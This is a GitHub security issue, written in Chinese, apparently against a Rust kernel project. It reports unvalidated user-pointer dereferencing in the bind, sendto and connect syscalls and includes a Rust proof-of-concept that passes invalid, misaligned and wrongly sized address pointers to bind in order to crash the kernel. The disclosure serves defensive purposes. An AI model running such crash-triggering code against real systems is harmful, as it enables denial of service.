-
Notifications
You must be signed in to change notification settings - Fork 79
Open
Labels
securityFor security vulnerabilities, mitigations, and secure coding practices.For security vulnerabilities, mitigations, and secure coding practices.
Description
上下文信息
- 文件路径: kernel\kernel\src\net\syscalls.rs
- 行号: 170 所属函数: sendto
- 行号: 397 所属函数: connect
- 行号: 423 所属函数: bind
- 问题代码块: SocketAddress::from_ptr(address, address_len)
漏洞详情
- 类型: 空指针/无效指针解引用,潜在的缓冲区越界访问
- 触发条件: 攻击者提供无效指针、不当对齐的指针或长度不匹配的address_len参数
- 调用链示例: 用户空间 -> bind()系统调用 -> SocketAddress::from_ptr() -> 内存解引用
漏洞影响范围
- 所有调用bind()、sendto()、connect()系统调用的用户空间程序。
- 可能导致内核崩溃 (Kernel Panic)、任意内核内存读取(信息泄露)、权限提升
代码证据
以bind()函数举例,其它类同
// 在 bind 函数中的调用(第423行)
let Some(socket_addr) = (unsafe { SocketAddress::from_ptr(address, address_len) }) else {
log::error!("fd={}: Invalid Address", socket);
return -libc::EBADF;
};
// SocketAddress::from_ptr 实现(在 net/mod.rs 中)
pub unsafe fn from_ptr<'a>(
ptr: *const libc::sockaddr,
len: libc::socklen_t,
) -> Option<&'a Self> {
if ptr.is_null() || (len as usize) < core::mem::size_of::<libc::sockaddr>() {
return None; // 基础验证,但不足够
}
Some(&*(ptr as *const Self)) // 危险:直接解引用指针
}漏洞利用示例
use librs::net::socket::{socket, bind};
use librs::errno::ERRNO;
use libc::{sockaddr, socklen_t, AF_INET, SOCK_STREAM, sockaddr_in6, AF_INET6, sockaddr_in, c_void, c_int, SOL_SOCKET, SO_PROTOCOL};
/// 测试 bind 函数的多种漏洞利用场景
fn test_bind_vulnerabilities() -> Result<(), String> {
println!("\n=== Bind Function Vulnerability Tests ===");
// 创建测试 socket
let socket_fd = match create_test_socket() {
Ok(fd) => fd,
Err(e) => return Err(format!("Failed to create test socket: {}", e)),
};
println!("Created test socket with fd: {}", socket_fd);
// 测试场景1: 无效指针攻击
println!("\n[TEST 1] Invalid pointer attack");
test_invalid_pointer(socket_fd)?;
// 测试场景2: 对齐不当的指针
println!("\n[TEST 2] Misaligned pointer attack");
test_misaligned_pointer(socket_fd)?;
// 测试场景3: 长度不匹配攻击
println!("\n[TEST 3] Length mismatch attack");
test_length_mismatch(socket_fd)?;
// 测试场景4: 部分初始化内存攻击
println!("\n[TEST 4] Partially initialized memory attack");
test_partial_memory(socket_fd)?;
// 清理
unsafe {
let _ = close(socket_fd);
}
println!("\n=== All vulnerability tests completed ===");
Ok(())
}
/// 创建测试用的 socket
fn create_test_socket() -> Result<i32, String> {
let socket_fd = unsafe { socket(AF_INET, SOCK_STREAM, 0) };
if socket_fd < 0 {
return Err("Failed to create socket".to_string());
}
Ok(socket_fd)
}
/// 测试场景1: 无效指针攻击
fn test_invalid_pointer(socket_fd: i32) -> Result<(), String> {
println!("Attempting to trigger crash with invalid pointer...");
// 指向未映射内存的恶意指针
let malicious_ptr = 0xDEADBEEF as *const sockaddr;
let addr_len = std::mem::size_of::<sockaddr>() as socklen_t;
println!("Calling bind with malicious pointer: {:p}, length: {}", malicious_ptr, addr_len);
// 这应该会导致系统崩溃或返回错误
let result = unsafe { bind(socket_fd, malicious_ptr, addr_len) };
if result == 0 {
println!("WARNING: bind succeeded unexpectedly!");
} else {
let errno = ERRNO.get();
println!("bind failed with errno: {}", errno);
}
Ok(())
}
/// 测试场景2: 对齐不当的指针
fn test_misaligned_pointer(socket_fd: i32) -> Result<(), String> {
println!("Attempting to trigger crash with misaligned pointer...");
// 创建未对齐的指针
let data = [0u8; 100];
let misaligned_ptr = &data[1] as *const u8 as *const sockaddr;
let addr_len = std::mem::size_of::<sockaddr>() as socklen_t;
println!("Calling bind with misaligned pointer: {:p}, length: {}", misaligned_ptr, addr_len);
let result = unsafe { bind(socket_fd, misaligned_ptr, addr_len) };
if result == 0 {
println!("WARNING: bind succeeded unexpectedly!");
} else {
let errno = ERRNO.get();
println!("bind failed with errno: {}", errno);
}
Ok(())
}
/// 测试场景3: 长度不匹配攻击
fn test_length_mismatch(socket_fd: i32) -> Result<(), String> {
println!("Attempting to trigger crash with length mismatch...");
// 创建 IPv6 地址但提供 IPv4 长度
let mut ipv6_addr: sockaddr_in6 = unsafe { std::mem::zeroed() };
ipv6_addr.sin6_family = AF_INET6 as libc::sa_family_t;
ipv6_addr.sin6_port = 8080;
let addr_ptr = &ipv6_addr as *const sockaddr_in6 as *const sockaddr;
// 提供错误的长度(IPv4 长度而不是 IPv6 长度)
let wrong_len = std::mem::size_of::<sockaddr_in>() as socklen_t;
println!("Calling bind with IPv6 address but IPv4 length: {}", wrong_len);
let result = unsafe { bind(socket_fd, addr_ptr, wrong_len) };
if result == 0 {
println!("WARNING: bind succeeded unexpectedly!");
} else {
let errno = ERRNO.get();
println!("bind failed with errno: {}", errno);
}
Ok(())
}
/// 测试场景4: 部分初始化内存攻击
fn test_partial_memory(socket_fd: i32) -> Result<(), String> {
println!("Attempting to trigger crash with partially initialized memory...");
// 创建部分初始化的内存
let mut partial_data = [0u8; std::mem::size_of::<sockaddr>()];
partial_data[0] = 0; // sa_family = 0 (无效地址族)
// 不初始化其他字段
let partial_ptr = partial_data.as_ptr() as *const sockaddr;
let addr_len = std::mem::size_of::<sockaddr>() as socklen_t;
println!("Calling bind with partially initialized memory (sa_family=0)");
let result = unsafe { bind(socket_fd, partial_ptr, addr_len) };
if result == 0 {
println!("WARNING: bind succeeded unexpectedly!");
} else {
let errno = ERRNO.get();
println!("bind failed with errno: {}", errno);
}
Ok(())
}
/// 关闭文件描述符的包装函数
unsafe fn close(fd: i32) -> i32 {
extern "C" {
fn close(fd: i32) -> i32;
}
close(fd)
}漏洞利用截图

Metadata
Metadata
Assignees
Labels
securityFor security vulnerabilities, mitigations, and secure coding practices.For security vulnerabilities, mitigations, and secure coding practices.